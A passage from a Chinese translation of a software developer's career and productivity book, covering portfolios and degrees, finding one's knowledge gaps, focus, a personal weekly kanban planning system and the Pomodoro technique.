码托管网站上创建或者参与一个开源项目。GitHub上托管着许多开源项目，人们可以通过你的GitHub页面看到你的贡献。\n你也可以把自己创建的网站或者应用程序整理出来，带着这些源代码去面试。我一直推荐开发人员（特别是刚入行的开发人员）创建一个移动应用，Android或iOS应用均可。这是向未来雇主展示能力的好办法——让他了解你具有开发并部署一个完整应用的能力。\n现在，花点时间想想：你能创建哪些应用，如何创建一套能带去面试的作品集。你有能带去面试的代码或项目吗？\n另一个要考虑的是，如果你目前没有学位，你是否想将来去获得一个？我刚开始工作的时候，我并没有学位。我费了很大的劲才得到第一份工作，但我有了足够经验之后，我明白了一点：学位并不是那么重要。尽管如此，工作了几年后，我还是决定继续完成学业，从而得到一纸文凭。在接受教育的同时，我仍然坚持正常工作，所以最后我不但比我的同龄人多了4年工作经验，还获得了学位。这么做唯一的缺点就是，在这几年里，我都不得不在晚上学习。因为函授大学和夜大的学费比普通大学便宜，所以费用不是问题。当你有了工作，读书的开支也少了很多，你也无需借贷。不仅如此，有些公司还会部分或全额支付你的学费。\n如果你目前还没有学位，你可以采用类似的路线。你可以通过业余时间上课的方式，在工作的同时获得学位。这是一个非常好的支持计划，能在以后助你一臂之力。\n另一种方法就是获得专业认证。虽然不如学位那么有用，但是它们没学位那么贵，也能证明你在某领域的专业能力，如微软和Java的专业技术认证、Scrum方法认证。你通常可以自学这些认证课程，通过考试获得认证。考试的费用相当便宜。\n采取行动\n如果你没有学位，看看有哪些网上课程或者业余课程可以参加。看看它会花费多少，多久会让你毕业。\n如果你决定完全放弃学位教育，那么一定要确保自己有一个非常出色的作品集。花时间把写过的代码整理一下，证明你了解你所做的工作。\n第35章 发现自己的知识短板\n专注于自身强项，这没什么不妥，但有时候，如果弱点得不到解决，通常会成为你的职业或生活的桎梏。我们每个人都有弱点。我们的知识也有使我们不能高效工作的短板。我们能发现并消除的知识短板越多，长久来看我们从中受益越多。\n本章的内容都是关于发现妨碍你发挥自身全部潜能的知识短板的。我们将研究这些短板为何会存在，如何找到它们，以及最终如何填补它们，从而让你不受自己所不知的限制。\n为什么我们会有短板\n在很长一段时间里，我都不明白Lambda（拉姆达）表达式在C#中是如何工作的。在C#中，Lambda表达式是一种基本的匿名函数，可以用来创建代理。你可以使用Lambda表达式作为快捷方式来声明没有名称的函数。\n我在C#代码里不断看到Lambda表达式，对它的作用也略知一二，但并没有真正理解。我知道，如果自己花点时间了解Lambda表达式是如何工作的，以及它们是什么，我的工作会更顺利，但是我当时没有时间。\n最终，它成为我自己的知识体系中严重的短板。没有花时间去彻底掌握Lambda表达式的工作原理，结果浪费了大把的时间。最后当我下决心花时间去了解Lambda表达式的时候，我只花了几个小时阅读并实践，就领会了这一概念。\n观察我工作的旁观者迅速看出我的弱点，以及这个弱点又浪费了多少效率。然而，尽管现在这一点显而易见，但当时我却无法了解。\n这就是知识上的短板造成的问题。我们总是倾向于掩饰自己的短板，而且我们也总是太忙，忙到无暇去填补它们。结果，我们要么不能真正明白自己在做什么，要么为了避开自己的短板而采取低效的方法。\n尽管我们最终明确了这些短板，也明白自己深受其害，但基本上依然会无动于衷——即使我们知道自己应该有所作为。这就像牙疼的时候不愿意去看牙医，因为我们并不愿意为此而烦恼。\n找出你的短板\n你的知识短板并不全都显而易见。事实上，大多数的知识短板，你只能隐约觉察到。对于自己不知道的，你很难清楚地意识到，也很容易忽略。\n知识短板会阻碍你进步。准确识别它们的最佳方式之一就是看看自己在哪些工作上花费了大量的时间，或者一直进行重复性劳动。通常，你会发现，自己的知识短板使工作速度放缓，额外需要大量的时间完成任务。由于理解得不彻底，你只能摸索着前进。这正是我不理解Lambda表达式的时候发生的情况。我花了大量的时间去调试代码，而不是用几个小时去理解它。\n重复性工作也是如此。任何你所做的重复性工作都值得彻查一番，看看是否有自己不理解的地方，如果你这样做了，可能会提高你的工作效率。想想键盘快捷键。你一直重复使用某个应用，但是并没那么高效，原因是你不得不手动在屏幕上拖曳鼠标并点击。键盘快捷键可能就是你的知识短板。花点儿时间学习每天会用几个小时的应用（提示：你的IDE编程环境）的快捷键，一周能给你节约好几个小时的时间。\n另一种识别知识短板的方法就是，时刻都要试图了解自己不理解或不清楚的事物。你可以维护一份清单，列出自己需要去研究或者自己不清楚的所有事物，追踪有哪些主题总是不断出现在这个清单上。你会惊讶地发现这份清单的增长速度有多快。你只要对自己坦诚：如果遇到不理解的知识，不需要马上就学会，但是一定要把它添加到清单中，这样你至少可以找出自己的知识短板。\n假如你在准备面试，需要明确自己要学什么，这一方法最管用。尽量找出尽可能多的你在面试中可能会被问到的问题。如果你在找Java程序员的工作，你要整理出一份Java面试题的清单表，把所有题目做一遍，将自己不理解的概念和不会回答的问题整理到这个清单中。等你完成这一步，你就有了一份长长的待研究课题清单。这种方法看起来简单明了，但是很多准备面试的软件开发人员对要研究什么以及如何研究一头雾水。完成表35-1有助于你完成这项任务。\n表35-1 检查知识短板\n知识短板高发区\n你的短板\n在哪些工作上花费时间最多？\n可以改进的重复性劳动\n自己没有完全理解的东西\n你回答不出来的面试题\n消除短板\n如果不能采取措施弥补自己的知识短板，就算明确了所有短板也无济于事。幸运的是，一旦你能明确自己的短板，那消除短板的实际工作也并非如自己想象的那么可怕了。这就跟我们去看牙医很类似。\n真的，消除短板的关键就是定位短板。一旦你知道自己的知识短板是什么，以及它如何阻碍了你的发展，那么找出弥补它的方法也就简单了。当我意识到自己止步不前是因为没有掌握C#的Lambda表达式，我就坐下来，花几个小时用心学习直到掌握它。\n你必须要确切知道自己需要学什么，保证焦点明确。如果你的知识短板是不擅长物理，那很难弥补这一短板。但是，如果你能确定自己因为不知道弹簧的工作原理而遇到麻烦，那就可以花时间学习胡克定律（http://simpleprogrammer.com/ss-hookes-law），然后就一切顺利了。\n找出短板并进行弥补\n通常情况下，你可以通过“提问题”来快速填补自己知识上的短板。你可能会因自己在某方面的无知而感到尴尬，但是如果你能够克服尴尬，在自己不明白的时候提问，你会发现自己可以毫不费力地填补很多知识上的短板。当你在谈话或者讨论中遇到自己不能完全理解的部分，不要掩饰它，通过提问来弄明白。\n采取行动\n在接下来的几天里随身带着一个记事本，把自己遇到的不明白的地方都记下来。\n在谈话中遇到自己不明白的地方，即使觉得尴尬，也要有意识地提问。\n明确自己一天中的某些“痛点”，通过弥补自己知识上的短板，找出消除痛点的方法。\n第四篇 生产力\n外行静坐等待灵感，其他人则唤起激情努力工作。\n——斯蒂芬•金，《写作这回事：创作生涯回忆录》（On Writing: A Memoir of the Craft）\n如果我可以把本篇的所有内容提炼成一个忠告，我会说“做该做的工作”。然而，问题在于，“做该做的工作”并不像看起来那么简单。我们都知道，如果明确知道应该做什么，那么我们的工作效率会更高。但是，懒惰、缺乏动力、泡在 Facebook上聊天、沉湎于搞笑的猫咪视频……，种种原因总让我们的计划泡汤。那么，怎样才能坐下来，做我们应该做的工作呢？我们要怎样做才能让自己不再沉迷于搞笑动画，克服拖延症呢？\n这正是本篇要论述的内容。我并非完美无缺（我自己也是拖延了很久之后才开始动笔写作本书），但我找到了一些能够大幅提升工作效率的方法，在本篇中，我将与大家一起分享。这些方法中有一些相当浅显，比如我们都需要善意的提示，而还有一些就不那么简单了。\n虽然我最终并不能让你成为一台性能卓越、品质出众的超级高效机器，但是我能给你一些有效的工具去打败注意力分散，让你聚精会神，关掉滑稽的猫视频，尽管它们确实有趣。\n第36章 一切始于专注\n提高工作效率并没有什么了不起的秘诀。如果想让工作更加富有成效，就要让更多的工作尽快完成。现如今，生产效率高并不能保证你是高效的。产量多只表明生产效率高，只有完成正确的工作才会成为高效的人。但现在，我们只专注于讨论如何提高生产效率。首先，我要假设你能解决在工作中遇到的所有问题，所以你一旦开始工作就可以持续不断的交付工作产品。\n如何让更多的工作尽快完成呢？这一切都源于专注。专注对于完成任何任务都是至关重要的。眼下，我就专注于“写这一章”这项任务。我戴上耳机，忽略所有电子邮件，一直盯着屏幕打字，因为我知道，写完这一章是需要一整天还是只要几小时，这完全取决于我是否专注工作。\n在本章中，我们会讨论什么是专注，为何它如此重要，以及——最重要的——你如何更专注。抑制住要翻页的冲动，把手机调为震动模式，我们开始吧。\n什么是专注\n简言之，专注就是注意力分散的对立面。我们生活的世界充满了太多的诱惑，很多人并不知道真正的专注是什么，很容易忙忙碌碌一整天却从未达到专注点。邮件、电话、短信、走神、打断……这些干扰纷至沓来，让我们无法专注，让我们忘记了专注是一种什么样的感觉。鉴于你可能想不起自己最近一次保持专注是什么时候，我要花点时间来提醒你真正的专注是什么。\n还记得你最近一次解决真正的难题是什么时候吗？你或许在试图修复一些bug，或者要弄清楚为什么你的代码不工作。时间飞逝，你忘了吃饭、喝水乃至睡觉，一门心思扑在你的任务上。你全身心投入到单个项目上，任何人胆敢打断你，你必定会暴跳如雷。\n这就是专注。我们时不时能感觉到它，但问题是，大部分时候我们都不专注。大多数时候，我们都是用截然相反的模式工作。我们很容易注意力分散，无法静下心来投入到应该完成的任务。专注，就像生活中的许多事情一样，就是一个关于“冲量”的游戏。想要达到专注工作的状态很难，但是一旦进入专注状态，就能轻松保持。\n专注的魔力\n我通常不相信“神药”，但我坚信专注是提高生产力的灵丹妙药。如果能买到专注，我会刷爆信用卡，有多少买多少，因为我知道这笔投资的回报完全有保障。专注就是如此重要。\n缺乏专注，任务会被拖延很长一段时间。各种干扰分散了我们的注意力，或者让我们无法进入专注状态，最后不只是消耗了我们大量的时间。在第41章中讨论多任务并行的时候，我们会更具体地讨论这一问题，但我们所承担的很多任务都有“环境切换”的成本。当我们从一个任务切换到另一个任务时，我们必须要唤醒某些记忆之后才可以重新开始工作。\n专注非常重要，因为它可以让我们在处理任务的时候不必一遍又一遍地重复基础部分。我们的思维模式是这样的：花一些时间先把所有的事务在脑子里过一遍，然后才能达到思维高峰以完成任务。你可以把这个过程想象为汽车在高速公路上行驶时的提速过程。车子在进入高速行驶之前需要更换几个挡位。如果你总是不断地起步停车，那么你的整体速度就会很慢很慢。要让车回到高速，换到五挡，需要花点儿时间。但是，一旦你开到五挡，那就能轻松巡航了。\n我确信你有过这样的状态，你全心工作，感觉毫不费力。要想进入这种状态常常需要费点儿时间，但是一旦找到这种状态，你就能在短期内完成很多任务（除非你为了找出一个难以找到的bug在原地打转）。\n专注让你保持高速\n如何更专注\n我可能并不需要花更多时间让你明白专注的重要性。不过你可能想知道如何才能更专注？（抱歉，我目前还没找到通过吃药提高专注的方法，等找到了会告诉你的。）事实上，学习如何保持专注是非常关键的，因为如果你做不到这一点，本篇其余的大部分内容对你而言可以说是毫无用处。我可以告诉你这世上所有提高生产力的窍门和技巧，但是如果你不能专心坐下来专注于某项任务，这些技巧对你并没有太大的用处。\n那么，现在正是开始实践的好时机。此刻，你可以挑选一些耗时15～30分钟的任务。插上书签，合上这本书，现在就去完成这样的任务。你必须完全专注于做这这件事。不要想别的事情，只关注于这一项任务。找找这种感觉。\n正如我之前所说，专注有着自己的冲量。如果你想进入专注模式，你必须要认识到，它不是一个“即插即用”的开关。如果你能瞬间切换到专注模式，你可能算得上是个怪人：只要你一坐在计算机边上就开始疯狂打字，瞬间你的眼睛就变得呆滞无神。我想，你这样可能会吓到别人。\n要进入专注模式，必须要克服将自己的思绪集中于单一任务时的那种痛感。除非你完全享受完成这项任务，否则这种痛感一开始会很强烈。但是，这正是关键所在。你必须要意识到，这种痛苦和不适只是暂时的，不会持续很久。\n当我刚开始坐下来写这一章的时候，我时不时有种冲动去检查电子邮件、上个卫生间、喝点咖啡——其实我本不喝咖啡的。我的大脑竭尽所能阻止我保持专注。我必须得征服它，强迫自己的手指必须要继续打字。现在我已经进入了可以连续打字数个小时（有时候也许是数个半小时[1]）的状态。关键在于，我不得不坐下来，强迫自己进入专注模式。\n我用于提高生产力的大多数方法都是以这种方法为基础的：达到专注的临界点。在第38章中，我们会讨论“番茄工作法”，这种形式固定的方法能够强迫你坐下来，专心工作足够完成一项任务的时间，从而建立冲量，让你进入“专注”的境界。\n没有听起来那么容易\n现在我可能已经让专注看起来比实际情况更容易点儿了。专注并不像坐下来在键盘上打字那么简单。你要激发自己的斗志，对抗各种让你分心的事情，只有打败它们，你才能升挡到“高速”，将自己送入巡航状态。与分心作战需要一些深思熟虑。\n在开始一项任务之前，确保你已经做好一切可以让自己免受干扰的措施，不管是内部干扰还是外部干扰。将手机调成静音状态，关掉分散注意力的浏览器窗口，禁用屏幕上的弹出窗口，甚至可以考虑在你的门上或者工位入口挂一个“正在忙，勿打扰”的牌子。你可能觉得我说的“挂上招牌”是开玩笑，其实我是绝对认真的。刚开始时，你的同事和老板可能对此有些抵触，但当你像疯子一样疯狂工作的时候，他们就会理解。其实，他们也想买到你的这剂良药。\n好了，你现在准备好开工了。你坐在电脑前开始打字。旁若无人，心无杂念——但是，等等，那是什么？你说不上来，就觉得自己该看看有没有人喜欢你Facebook上的帖子。别这样，想都不要想。现在你要用自己的意志力将注意力保持在手头的任务上。起初这种专注是被迫的，但是随着冲量建立，推动你进入专注状态。你的目标是熬过前5～10分钟。如果能撑过10分钟，你就有足够的冲量继续。在这种情形下，即使是轻微的分心也不大可能打破你的专注。\n采取行动\n想一想自己极度专注于工作的时候。那是一种什么感觉？是什么令你进入这种专注模式？又是什么最终打破了你的专注？\n时不时实践一下专注。选一项大概需要占用你半小时或者更长时间的任务，给完成这项任务分配一个完整的时间段，完全专注于这项任务。迫使自己只集中精力在这一项任务上。当你进入专注状态时，在心里记住是什么感觉。\n[1] 此处原文为half hours。作者在这里指的是“番茄钟工作法”，请参考第38章。—译者注\n第37章 我的私房“生产力提升计划”\n我已经尝试过几乎所有的主流的生产力管理方法和工具。我试过GTD（Getting Things Done），也花时间用过“番茄工作法”。我还用过Seinfeld[1]的“不要打破链条”（Don’t break the chain）方法的各种版本。（在“不要打破链条”方法中，每天成功完成某项任务，你就在日历上做个标记。这种方法的基本思想就是，让连续工作的势头保持的时间尽可能长。）我甚至还试过像Autofocus这样的基于列表的管理系统。在尝试了所有这些方法之后，我始终无法找到适合自己的完美方法。于是，我又把这些方法中最有用的部分抽取出来，同时融合了敏捷过程的一些要素，创建了属于自己的生产力提升方法。\n在本章中，我会告诉你这种生产力提升方法，我就是靠它让自己尽可能保持高产状态，我现在也用此方法在写这本书。\n概览\n我的生产力提升计划的基本思路就是，我把一周的时间分配给一个一个用时不超过两小时的小任务。我使用看板来安排自己的一周活动。看板是一个简单的白板，它有几个列，你可以轻松地在各列之间移动任务项。在敏捷方法的世界里，看板通常还包含展示这些任务项所处的不同状态，典型的状态有“未启动”“进行中”和“已完成”。但是在我的看板中，每一列就是一周中的每一天。要想对看板技术有更多的了解，可参考Marcus Hammarberg和Joakim Sundén合著的《看板实战》（Kanban in Action）［Manning，2014］。\n在工作时我会使用番茄工作法来保持专注，并且用番茄工作法估算和衡量每一项任务要花多长时间。我会在下一章中更加细致地讨论这一方法的工作原理。\n季度计划\n我的计划都是从“季度”开始的。我把我的一年分成4个季度，每个季度3个月。在做季度计划时，我会尽力列出我想在本季度完成的每一个大项目，我还会制订一些较小的目标。我会思考我在每一周或每一天分别完成哪些工作。这份计划通常会用Evernote[2]这样的应用程序中的一份列表来完成。我也会创建一个宏观计划，将本季度我想要完成的工作列入其中。这让我清楚地了解自己的主要目标是什么，也知道该如何实现它。同时，它还会让我保持专注。\n我的季度目标包括写这本书，创建“作为软件开发人员，你如何营销自己”（How to Market Yourself as a Software Developer）系列课程（http://devcareerboost.com/m），有时甚至是“取得突破”这样的目标。\n月计划\n每个月的第一天我会打印出当月的月历，并且规划出每天要完成的工作。此时我并不能做到非常精确，但是我可以根据当月天数和之前的完成情况，粗略估算出当月我能够完成多少工作。我会简单地从季度计划中挑选任务，看看有哪些任务可以写入月历。\n每个月我都会将该月要完成的所有任务列入计划。例如，我要在每月月初批量创建该月的所有YouTube视频，这通常要花费我一整天的时间。\n周计划\n每周一的早晨，我会做我的周计划。我原来使用名为Trello（http://trello.com）的工具作为看板来组织我一周的工作，但最近我一直在用Kanbanflow（http://simpleprogrammer.com/ss-kanbanflow）创建自己的看板，因为Kanbanflow有一个内置的番茄钟定时器。我的看板上不仅一周内的每一天都有一列，还有一列标注为“今天”，列出我当天要完成的任务；还有一列标注为“完成”，列出我已经完成的任务；还有一列标注为“下周”，我会把所有这周内未完成的任务以及我知道下周必须要做的事情放进去，以免自己忘记。\n简单的周计划看板\n每天开始工作的时候我都要浏览一下本周需要做的事情的清单。我在Evernote（印象笔记）上创建了一份检查表，列出我每周必须要完成的所有工作，包括：\n写一篇博客文章；\n制作一个YouTube视频；\n为该视频撰写一篇博客文章；\n录制两个播客；\n为该播客撰写一篇博客文章；\n转录和编辑我的播客；\n写一份电子邮件简讯；\n安排好我本周内要在社交媒体上发表的内容。\n我通过在Trello或Kanbanflow上创建卡片来安排上述所有任务。对于每张卡片，我要估算一下要花多长时间（以番茄钟为单位——专注工作25分钟）。我假设自己每天可以使用约10个番茄钟。我会确保先将上述这些任务加进计划中，因为我知道这些是每周必须要完成的。\n一旦完成一周内的强制性任务，我会浏览一下我的日历，看看是否有任何固定的约会需要占用当天的时间。对于这些日子，如果这些约会与工作相关，我会为它们创建卡片，否则我就减少当天期望完成的番茄钟总数。\n最后，我将所有计划在本周完成的工作都放入周计划中。我会为每项希望本周完成的任务创建卡片，并插入可用的时间窗内。通常，我会给自己留一点儿余地，只会为每一天安排9个番茄钟用于工作。\n安排每周的任务\n到这里，我对本周要完成的任务就会有一个非常清晰的认识。我发现这种预测也非常准确。我有能力调整各个卡片的优先级，以确保我认为更重要的和我必须确保完成的工作优先得到保障。我还能清楚地知道每周自己的时间都去哪儿了，我甚至能事先控制自己将时间用在哪儿，而不是回过头看自己的时间都去哪儿了。\n日计划及执行\n每天，在坐下来工作之前，我都会做一些健身活动。之所以这样做，是因为我不希望中途有事情打断我专注的状态。一旦我做好准备坐下来工作，我做的第一件事就是计划我的这一天。\n要计划好这一天，我首先要把对应日期里的卡片移到“今天”这一栏，并把它们按照重要性排序。我要保证自己优先完成最重要的事情。我也会对当天的任务进行调整，如果卡片上对该项任务的描述不够细致，我还会添加细节。我要确保自己在开始工作之前就确切地知道自己在做什么，这项任务完成的标准又是什么。这样做可以避免因为任务定义不清晰而导致的拖延和时间浪费。\n将当天计划要做的每件事插入各个时间窗内之后，我会回顾本周计划，对本周剩余的任务进行一些小的改动。有时候，我完成的任务比计划的要多，我就需要把一些卡片向前移动，或者添加新的卡片。有时候，我的工作进度会落后于计划，我可能就需要进行调整，将一些任务卡片移到下一周。\n至此，我已经做好准备工作。我会在下一章中更详细地介绍番茄工作法。每天，我都会用番茄工作法在某一时间段内专注于某项任务，以此来完成工作列表上的每一项任务。\n与干扰作斗争\n每一天你都会受到很多干扰。只要一坐下，电话就会响起，邮件通知在屏幕上弹出，有人又在Facebook上给你点赞，赶上世界末日再次来临，还得查看一下CNN看看到底是怎么回事。有些干扰是不可避免的，但我发现，只要愿意付出努力，我们还是可以排除大部分干扰的。\n白天我会尽量避免受到干扰，因为我知道它们是工作效率的最大杀手。我在家办公，所以尽管比在小隔间环境中工作更容易避免干扰，但仍然是挑战重重。白天，我的手机从来不响，一直处于静音状态；我的妻子和女儿也知道在我工作的一个番茄钟内不要来打扰我。如果需要找我，她们可以发邮件给我，或者在门边探个头，这样我在休息的时候就会去找她们。当然，紧急情况另当别论。\n为了免受干扰，另一件大事就是，在白天我基本上会忽略电子邮件。我只在休息的时候检查电子邮件，这也只是为了确保不会耽搁必须要马上处理的紧急邮件。但是，除非一些事情确实紧急，否则我一般只在晚上统一回复电子邮件。通过在集中的时间段内统一回复邮件，我可以大幅提升邮件回复效率。（如果能彻底摆脱检查电子邮件的习惯，我可能会生产效率更高。但可惜，我只是个普通人。）\n另外，我还会退出所有会让自己不断分心的聊天软件，或者保持隐身状态。我觉得聊天软件完全就是浪费时间。在大多数情况下，电子邮件更为合适，因为我可以在闲暇时间回复，而不会在正专注工作的时候被打断。\n休息和休假\n每天都像机器一样高强度工作可不是长久之计，所以我要确保自己有一些休息时间，或者有那么几周我会称之为“无工作周”，基本上在这几周里，我不会使用番茄钟，也不会把整周都排满。在无工作周里，我只做一些我喜欢的工作。这些周通常毫无成效，我迫不及待地想回到正常的运转轨道上去（紧张工作），但是这种清闲让我可以在单调的忙碌中休息一下，也会帮我牢记按照自己设定的轨道运转对富有成效地工作是多么重要。\n每隔一段时间，我也会休息一天，充充电，陪陪家人。我只是相应地对周计划进行调整。明天我要带我女儿去迪士尼世界，所以我会在回家之后完成相当于三个番茄钟的工作任务。每隔几个月，我就会安排一次两周或者一个月的休假。在长假期间，我要么会把博客和播客这类任务挂起，要么只做最小量的工作，来维持自己每周的承诺。我发现，在长时间努力工作之后，这种休息是必需的。（完成本书之后，我会休息一段时间。）\n采取行动\n你并不一定非要确切遵循我的“生产力提升方法”，但你应该为自己设定一些制度，确保自己获得持续的成果。把自己当前每周的任务记下来，看看是否有某种可以为自己制订一个能够按月、按周或者按天实施的可重复使用的方法。\n[1] Seinfeld是美剧《Seinfeld》的联合主创兼主演。国内将《Seinfeld》译为《宋飞传》。——译者注\n[2] 国内版本为“印象笔记”。——译者注\n第38章 番茄工作法\n多年来，我尝试过不少提升生产力的方法，目前我用的是各种方法的组合，但对我工作效率影响最大的还是“番茄工作法”（Pomodoro Technique®，http:// simpleprogrammer.com/ss-pomodoro）。如果只允许我向你推荐一种提升生产力的方法，那一定是番茄工作法。\n然而，我也不是一直都对番茄工作法推崇备至。我第一次尝试使用番茄工作法的时候，我认为它太基础了，不大会有效果的。直到我尝试使用了一周之后，效果立竿见影，我才真正体会到了它的过人之处。\n在本章中，我会介绍番茄工作法，并展示为什么这种看似相当简单的方法如此有效。\n番茄工作法概述\n番茄工作法是由弗朗西斯科•西里洛（Francesco Cirillo）在20世纪80年代末发明的，在20世纪90年代获得大规模应用。该方法的核心其实很简单，简单到你可能会觉得不值一提，就像我当初一样。\n它的基本思路是：你规划出打算一天之内完成的工作，然后设置一个时长25分钟的定时器，去完成计划中的第一项任务；在这25分钟之内，你只专注于这一项任务，心无旁骛。一旦有干扰，可以用各种方法屏蔽掉干扰，但是通常你要努力保证自己完全不被打扰。总之，你不希望自己的专注的工作状态被打断。\n番茄工作法的流程\n在25分钟结束的时候，设置一个5分钟的定时器，休息一下。这就是所谓的一个“番茄钟”。每4个番茄钟后，你都需要休息一会儿，通常为15分钟。\n从技术上讲，如果提前完成任务，你应该将剩余时间设置为“过度学习”时间。也就是说，你需要继续对已完成的工作做出小幅改进，或者重新阅读材料以便于你能够再学一些新东西。我往往会忽略这部分，立即跳转到下一个任务。\n这就是“番茄工作法”的基本流程。它就是这么简单。弗朗西斯科最初使用了一个番茄形状的厨房定时器给自己设置番茄钟（意大利语里Pomodoro表示番茄的意思）。现在，已经有了大量的应用程序用于跟踪和记录番茄钟。我使用内置了番茄钟的Kanbanflow App（http://simpleprogrammer.com/ss-kanbanfolw）来跟踪我的番茄钟。（其实，现在我就正在用一个番茄钟在计时。）\n有效利用番茄工作法\n第一次使用番茄工作法的时候，我并没有严格做到它规定的要求。我只是每天用它来设置若干个“25分钟”的番茄钟。我并没有留意自己每天完成了几个番茄钟，也没有估算某项任务要用掉几个番茄钟；因此我并没有从中受益。我认为整个方法就是让你在一个扩展的时间段内保持专注。我觉得这个方法不错，但是我并不理解为什么我需要做的远远不止“集中精力工作10～15分钟”这么简单。\n我并没有看到番茄工作法的真正价值，直到后来我决定严格地使用这一方法。我的朋友，也是我的软件开发合作伙伴Josh Earl（http://joshuaearl.com/）当时他使用这种方法已经非常有效地了，他说服我再试试看。通过使用番茄工作法，他高效地跟踪自己一天内完成了多少个番茄钟，并为每天要完成的番茄钟的数量设定目标。事实证明这样运用番茄工作法的效果确实极为不同。\n番茄工作法只有被当作估算和评估工作的工具使用时，才能发挥它的真正威力。通过跟踪自己在一天内完成了多少个番茄钟，以及为每天要完成的番茄钟的数量设定目标，你瞬间有能力去真正评估自己每日工作的努力程度，也能知晓自己的工作能力。\n一旦我开始以这种方式使用番茄工作法，我发现自己的收获比以前多很多。我能够更好地利用番茄工作法，不但让自己全天保持专注，而且可以计划每天和每周的工作，找出每天自己的时间都用到哪儿去了，激励自己尽量工作得更富有成效。\n使用番茄工作法，你可以把每周看作是由有限个番茄钟组成的。想在每周完成一定数量的任务？你要搞清楚自己一周能工作多少个番茄钟，并相应地设置任务的优先级。通过计算自己完成的番茄钟的数量，可以确切知道自己一周完成了多少任务，也就不会觉得自己没完成足够量的任务。如果你没能完成自己设定的任务，但是却用完了足够数量的番茄钟，那么问题就不是工作量是否饱满，而是给某个任务项设置的优先级是否正确。\n正确使用番茄工作法教会我“设置优先级”的真正价值。当每周我只有这么多番茄钟可分配的时候，我必须小心翼翼地使用这些宝贵的番茄钟。在使用番茄工作法之前，我一直幻想着自己可以在一周内完成超出自己实际能力许多的工作，过高地估计了自己的时间而低估了完成任务所需的时间。但是，开始使用番茄工作法后，我能准确知道自己一周工作了多长时间，也知道自己完成了多少个番茄钟的任务。而在开始我都不能告诉你这一方法的真正价值。事实上，我对自己需要多长时间才能写完这本书有着准确的估算。我知道这本书每章要花多少个番茄钟，我也对自己每周可以给写书分配多少个番茄钟了如指掌。\n自己试试吧。现在最好放下这本书，试着把番茄工作法用于今天要完成的工作。体验一下，然后再回来读完这一章。\n心理游戏\n到目前为止，我只谈到番茄工作法可以通过增强计划能力提升你的工作效率；其实，因为“时间盒”效应，番茄工作法还可以在心理上对你产生巨大影响。\n有一个大问题一直困扰着我：我总为自己没有做更多的事情而感到内疚。这与我一天完成多少工作无关，就好像我永远不能放松似的。我总觉得自己应该在做事，以至于坐下来玩游戏（我最喜欢的消遣之一）时我都无法享受其中，因为我觉得自己在浪费时间，我本应该做更多的工作。也许你也有同感。\n这个问题的根源在于，你无法准确地评估每天到底自己完成了多少任务，也没有为自己每天到底要完成多少任务设定明确的目标。也许，像我一样，你也试图通过列出一份每日任务清单来解决这一问题。这看起来似乎是一个好主意，但是，当你完成某些任务耗费的时间比你预计的要长的时候，你将备受打击。就算你每天累得像狗一样，还是无法完成清单上的任务，所以即使你竭尽全力还是觉得自己很失败。这可真令人很沮丧。\n我们不一定能够控制完成一项任务到底需要多少时间，但是我们可以控制自己这一天中愿意为某项任务（或某些任务）花多少时间。如果你努力工作一整天，就会感觉很好；如果在这一天中你工作松懈却又完成了列表中的所有任务，那只不过是因为任务比预期的简单而已，你还真不应该为此而沾沾自喜。制订任务列表全凭主观臆断，每天能够专注完成的工作量才是最重要的。\n这正是番茄工作法的真谛之所在。当你在一天中为自己设置了x个番茄钟的工作目标（这一目标你完全可控）并且达成的时候，你就可以知道自己一天到底可以完成多少工作，这会让自己感觉良好，更重要的是，还能让自己放松身心。\n对番茄工作法的正确理解令我的工作生活大为改观，它不仅能帮我能做更多事情，而且能让我可以尽情享受业余时间。一旦我完成了当天的目标（以番茄钟来度量的），我就可以自由自在地做自己想做的事情。如果我觉得自己状态不错，我可能还会多做一些工作。但是，如果我想坐下来玩游戏，甚至看电影消磨时间，或者其他不费脑子的活动，我也不会感到内疚，因为我知道我已经努力工作一整天了。\n我们已经讨论过专注的话题，这里我就不再赘述。不过，专心致志地工作与三心二意地工作之间确实存在着巨大差异。番茄工作法能够让你保持专注，如果你使用番茄工作法度过充实的一天，你完成的工作的要比平常完成的多很多。好消息是，你的生产效率更高；坏消息则是，你需要花一段时间才能适应它（我没骗你）。在一天的大多数时间里都保持专注是非常困难的，可能远远超过我们之前遇到过的困难。\n地雷：我在办公室里工作，没办法专注25分钟\n坐在普通办公室里并不能成为你不能使用番茄工作法的理由。我经常听到这种抱怨：“番茄工作法听起来不错，可是我一整天都不停地被打扰。同事们会经过我的工位，我的老板要找我谈话。我又不能举起自己的手告诉他们等10分钟，等我的定时器叮叮作响。”\n其实你还是可以用番茄工作法的，只要提前跟大家打好招呼。如果你饱受打断之苦，不妨告诉你的老板和同事自己在做什么，以及它将如何提高你的工作效率。告诉他们一次最多25分钟，一旦完成一个番茄钟，你就会马上对任何请求作出响应。\n我知道这听起来有些疯狂，没人会为此努力；但是一旦你以正确的方式呈现番茄工作法的魅力，你会惊奇地发现很多人会非常支持你。现身说法，告诉大家番茄工作法对团队大有裨益，能帮你提高生产效率，你就会有很大机会成功说服大家。\n你可以完成多少工作\n自从使用番茄工作法之后，我发现自己对于每周或每天能完成多少个番茄钟的工作都有一个明确的上限。这个上限还会随着时间增长，而且我能够我也更加专注，也习惯于增加工作量。但是，一旦我过度加量，超出了自己的能力范围，总会为此付出代价。\n番茄钟上限的实际值可能令你大吃一惊。你可能会这么计算，每个工作日你平均工作8小时，一个番茄钟是30分钟，所以理论上讲，你应该在工作时间内能完成16个番茄钟。但实际上，即使是在12小时以内完成16个番茄钟也是极为吃力的。\n当我刚开始实施番茄工作法的时候，我发现一天要想完成6个番茄钟都很困难。你会惊讶地发现，一天的时间似乎转瞬即逝，要在一天的大部分时间里保持专注需要极大的奉献精神和意志力。现在，我每天设定10个番茄钟的目标，但这已然是一个非常繁重的工作。我通常需要工作8小时以上才能达到这个目标，有些时候还达不到标准。\n我一周的目标是50～55个番茄钟。如果我可以达成目标，我就知道自己做得很好，也能希望每周都能持续改进目标。如果我超出了自己的目标，即便只是一点点，我在接下来的一周马上就可以感知到，这也激励着我下周更加努力。\n如果你也打算采用番茄工作法，要先确保你对自己的能力有符合实际的预期。你每周工作40小时并不意味着你能完成80个番茄钟。（如果你能实现这一壮举，我会大吃一惊的。而且，坦白讲，我会担心你的心理健康。）\n也许你认为我有点故弄玄虚，或者是在为自己的懒惰找借口，那不妨验证一下John Cook对著名的数学家、理论物理学家、工程师和科学哲学家昂利·庞加莱（Henri Poincaré，http://simpleprogrammer.com/ss-poincar）的描述。John Cook在一篇发表于Cal 